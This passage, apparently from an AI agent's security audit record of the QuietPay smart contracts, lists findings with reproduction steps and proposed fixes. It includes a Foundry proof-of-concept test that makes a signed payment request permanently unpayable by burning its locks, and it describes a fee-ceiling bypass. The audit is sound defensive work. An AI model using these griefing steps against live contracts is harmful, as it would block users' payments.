SPARES_UPLOADED=3 spares (at most SPARES_PER_LINK=4 indexes, src/lib/pool/request-sig.ts), handed to anyone who asks GET /api/locks?key=<requestKey> (lock-service.takeLock). A link holder can therefore burn every lock with a minimum deposit each. requestPaid stays false, every payRequest reverts PrecommitmentAlreadyUsed, and PoolPayPanel shows 'used by someone else and no spare is available'. The burned deposits land with the recipient, so no funds are lost, but on testnet the minimum (1 tUSDG, scripts/deploy-testnet.ts:151) is mintable for free, so the attack costs only gas.","line":142,"path":"contracts/src/QuietPayPoolRouterV2.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.23;\n\nimport \"forge-std/Test.sol\";\nimport \"contracts/src/QuietPayPoolRouterV2.sol\";\nimport \"contracts/src/QuietPayTestUSDG.sol\";\n\n/// Minimal stand-ins with the 0xbow behaviour the router relies on: one-use precommitments,\n/// a minimum deposit, labels keccak(scope, ++nonce) % field, depositors[label] = entrypoint caller.\ncontract MockPool {\n  address public ASSET; address public ENTRYPOINT; uint256 public SCOPE = 1234; uint256 public nonce;\n  mapping(uint256 => address) public depositors;\n  constructor(address a) { ASSET = a; ENTRYPOINT = address(new MockEntrypoint(address(this), a)); }\n  function deposit(address d, uint256 v, uint256) external returns (uint256) {\n    uint256 label = uint256(keccak256(abi.encodePacked(SCOPE, ++nonce))) % 21888242871839275222246405745257275088548364400416034343698204186575808495617;\n    depositors[label] = d;\n    QuietPayTestUSDG(ASSET).transferFrom(msg.sender, address(this), v);\n    return label;\n  }\n}\ncontract MockEntrypoint {\n  MockPool pool; QuietPayTestUSDG token; mapping(uint256 => bool) public usedPrecommitments;\n  error PrecommitmentAlreadyUsed();\n  constructor(address p, address t) { pool = MockPool(p); token = QuietPayTestUSDG(t); token.approve(p, type(uint256).max); }\n  function deposit(address, uint256 v, uint256 pc) external returns (uint256) {\n    token.transferFrom(msg.sender, address(this), v);\n    if (usedPrecommitments[pc]) revert PrecommitmentAlreadyUsed();\n    usedPrecommitments[pc] = true;\n    require(v >= 1e6, \"min\");\n    return pool.deposit(msg.sender, v, pc);\n  }\n}\n\ncontract LockBurnTest is Test {\n  QuietPayTestUSDG token; MockPool pool; QuietPayPoolRouterV2 router;\n  uint256 keyPk = 0xA11CE5; address key; address refund = address(0xFEED);\n  address payer = address(0x1); address griefer = address(0x2);\n  bytes16 constant ID = bytes16(uint128(42)); uint256 constant AMOUNT = 500e6;\n\n  function setUp() public {\n    token = new QuietPayTestUSDG(); pool = new MockPool(address(token)); router = new QuietPayPoolRouterV2(address(pool));\n    key = vm.addr(keyPk);\n    vm.prank(payer); token.faucet(AMOUNT); vm.prank(payer); token.approve(address(router), type(uint256).max);\n    vm.prank(griefer); token.faucet(4e6); vm.prank(griefer); token.approve(address(router), type(uint256).max);\n  }\n  function _sig(bytes32 d) internal view returns (bytes memory) {\n    (uint8 v, bytes32 r, bytes32 s) = vm.sign(keyPk, keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", d)));\n    return abi.encodePacked(r, s, v);\n  }\n\n  function test_signedRequestCannotBeMadeUnpayableCheaply() public {\n    uint64 exp = uint64(block.timestamp + 1 days);\n    bytes memory terms = _sig(router.requestDigest(ID, AMOUNT, exp));\n    // The link's lock plus its 3 uploaded spares (request-sig.ts SPARES_UPLOADED).\n    uint256[4] memory locks = [uint256(101), 102, 103, 104];\n    // Griefer: 1 tUSDG (the testnet minimum, mintable for free) into each lock through plain pay().\n    vm.startPrank(griefer);\n    for (uint256 i; i < 4; i++) router.pay(locks[i], 1e6, refund);\n    vm.stopPrank();\n    assertFalse(router.requestPaid(key));\n    // The payer now cannot pay the request with any lock its key signed.\n    uint256 ok;\n    for (uint256 i; i < 4; i++) {\n      vm.prank(payer);\n      try router.payRequest(ID, AMOUNT, exp, terms, locks[i], refund, _sig(router.lockDigest(locks[i], refund))) { ok++; } catch {}\n    }\n    assertEq(ok, 1, \"request can no longer be paid by anyone\");\n  }\n}","reproduction":"Request: amount 500e6, key K, locks {101 (link), 102, 103, 104 (spares)}, all signed by K. Griefer calls router.pay(p, 1e6, refund) for p = 101..104 (4 tUSDG in total from the faucet). Payer then calls payRequest(ID, 500e6, exp, termsSig, p, refund, lockSig_p) for each p. Expected: at least one succeeds and the request is paid. Actual: all four revert (PrecommitmentAlreadyUsed) and requestPaid(K) stays false for good. test/scratch/LockBurn.t.sol (with mock pool/entrypoint replicating the one-use precommitment and minimum) fails with '0 != 1'. Fix options that keep the design: let the request key sign a lock that only payRequest may use, e.g. derive the deposited precommitment onchain from a signed seed plus requestId so that plain pay() can't hit it. Or let the recipient's device top up spares on demand (unbounded spare index) and rate-limit /api/locks takes per request key, not per IP. Document the cost on mainnet as k x minimumDepositAmount.","severity":"low","snippet":"  function pay(uint256 precommitment, uint256 amount, address refund) external nonReentrant returns (uint256 label) {","title":"QuietPayPoolRouterV2: a signed one-time pool request can be made permanently unpayable by burning its lock and all of its spare locks with minimum deposits (residual of the spare-lock remediation)"},{"citation":"resolved","description":"SECURITY.md says 'Hard ceilings: deposit (vetting) fee at most 1%, relay-fee ceiling at most 5%, whatever is proposed'. _checkCall enforces the ceilings only on updatePoolConfiguration and registerPool calldata. It also accepts grantRole for any role and upgradeToAndCall to any contract. A proposal grantRole(keccak256('OWNER_ROLE'), adminEOA) runs after `delay`. From then on adminEOA calls Entrypoint.updatePoolConfiguration(asset, min, 9_999, 9_999) directly, with no delay and no ceiling (Entrypoint._setPoolConfiguration only requires < 10_000). The same applies to an upgrade. The delay does give users a window, and the code comment says so, so this is a documented-trust gap, not a permission bypass. Separately, minimumDepositAmount is passed through unchecked, so a proposal can set it to 0 (lock burning in the previous finding then costs only gas, even on mainnet) or to type(uint256).max (every deposit, payRequest and pool-to-pool transfer reverts, like a wind-down).","line":180,"path":"contracts/src/QuietPayPoolGuardian.sol","reproduction":"admin: propose(entrypoint, abi.encodeCall(grantRole, (OWNER_ROLE, admin))). Warp by `delay`, then anyone calls execute(id). admin then calls Entrypoint.updatePoolConfiguration(tUSDG, 1e6, 9999, 9999) directly. Expected (per SECURITY.md): the vetting fee can never exceed 100 bps. Actual: the call succeeds immediately, and the next payRequest of 500e6 credits the recipient 0.05e6. Fix: either refuse grantRole/revokeRole for OWNER_ROLE and DEFAULT_ADMIN_ROLE (leaving only the postman role), or state in SECURITY.md and on the Security page that a pending grantRole or upgrade removes the ceilings. Add a floor and a ceiling for minimumDepositAmount in _checkCall.","severity":"info","snippet":"    } else if (sel == IEntrypointAdmin.grantRole.selector || sel == IEntrypointAdmin.revokeRole.selector) {","title":"QuietPayPoolGuardian: the 'hard' fee ceilings can be bypassed after one delay through grantRole(OWNER_ROLE) or upgradeToAndCall, and minimumDepositAmount has no bounds (trust assumption overstated in "}],"hash":"bd41a7fff1c365e2dd4bacdc8341a9b4343e07bc02b64e41f889a05a0399f341","nodeId":"793ca5fc-7a60-471a-bde8-1ae1a146a209","outcome":"completed","summary":"I found four issues and recorded them in `.imd-findings.json`: two medium, one low, one info. None of them lets funds be stolen or trapped; the medium ones let an outsider block payments or drain the relayer's ETH. This was a focused economics pass (economic security, invariants, flow gaps), not the full 14-area audit, so many areas you listed were not covered (see the end).\n\n## Findings\n\n1. **Medium – anyone with a one-time link can use it up for 1 token unit** (`contracts/src/QuietPayRouterV3.sol:103`, `payOnce`). The router marks a request ID paid without tying it to the link's amount or the recipient's address. An attacker calls `payOnce(R, theirOwnAddress, 1, …)`. The real payer is then refused with `AlreadyPaid(R)`, and the app tells them \"This link was already paid\" while the recipient got nothing. `SECURITY.md` says the griefer must pay the full amount; they only pay 1 base unit, to themselves. This is the only one-time path where no pool exists (mainnet). `QuietPayRouterV2` has the same code. A Foundry proof is included and fails today as described.\n   - **Fix:** have the request key sign the amount and destination, and check that signature in `payOnce`, as `payRequest` does.\n\n2. **Medium – the relayer's ETH can be drained with free test tokens** (`src/lib/pool/relayer.ts:63`, `relayEconomics`). Relay fees are paid in tUSDG, which anyone can mint without limit. The new limits apply only to gas top-ups, not to the relay transactions themselves. One IP can make about 4,300 relays a day, and relays keep going below `RELAYER_MIN_BALANCE_ETH` until the balance is zero. The relayer key is also the approver key, so draining it also stops new approval roots for every user. This is reasoned from the code, with figures computed at the defaults (no test run).\n   - **Fix:** put relay gas under the same budget limits and give the approver its own key.\n\n3. **Low – a signed pool request can be made permanently unpayable** (`contracts/src/QuietPayPoolRouterV2.sol:142`). A request has only its link lock plus 3 spare locks, and `/api/locks` hands spares to anyone. Plain `pay()` accepts any lock, so an attacker burns all four with 1-tUSDG deposits (free on testnet). After that every `payRequest` reverts. The burned money lands with the recipient, so nothing is lost. A proof is included; it uses stand-in pool and entrypoint contracts that copy the one-use and minimum-deposit rules.\n\n4. **Info – the \"hard\" fee ceilings aren't hard** (`contracts/src/QuietPayPoolGuardian.sol:180`). After one delay, a proposal granting the owner role to an ordinary address (or an Entrypoint upgrade) lets fees be set up to 99.99% with no delay. The minimum deposit has no bounds at all. The code comment admits the role bypass, but `SECURITY.md` promises ceilings \"whatever is proposed\".\n\n## Previous findings\nThe earlier seven-finding report isn't in the repository. I worked out what it covered from the remediation commit (`4a733f9`), and these are my own judgements, not a reproduction of it:\n\n| Area | Status |\n|---|---|\n| One-time request use-up | Partially fixed: fixed for pool requests; stealth links still open (#1), pool requests can still be made unpayable (#3) |\n| Router v1 fallback / caller-chosen token | Fixed in the app (v1 is recognised by code hash and refused) |\n| Destination checks | Fixed in V3; V2 relies on checks in the app |\n| Refund addresses that can't receive | Fixed for the router, token, pool and entrypoint |\n| Single-key Entrypoint owner | Partially fixed (#4) |\n| Approval-root churn | Fixed by the fixed cadence; holding roots back during a relay is capped at three intervals |\n| Relayer ETH exhaustion | Partially fixed (#2) |\n\n## Testing and coverage\n- **Tests run:** the #1 and #3 proofs fail on the current code as stated. A fuzz test of `QuietPayRouterV3.pay` (2,000 runs) passed: the destination always got exactly the amount and the stipend, and the router held nothing afterwards.\n- **How I ran them:** there is no `foundry.toml`, so I use","treeHash":null,"usage":{"cachedInputTokens":2683394,"cost":{"source":"runtime","usdMicros":2180575},"inputTokens":59,"model":"claude-opus-5-5","outputTokens":35688,"runtime":"claude","turns":34,"wallClockMs":401225}}],"verification":[]}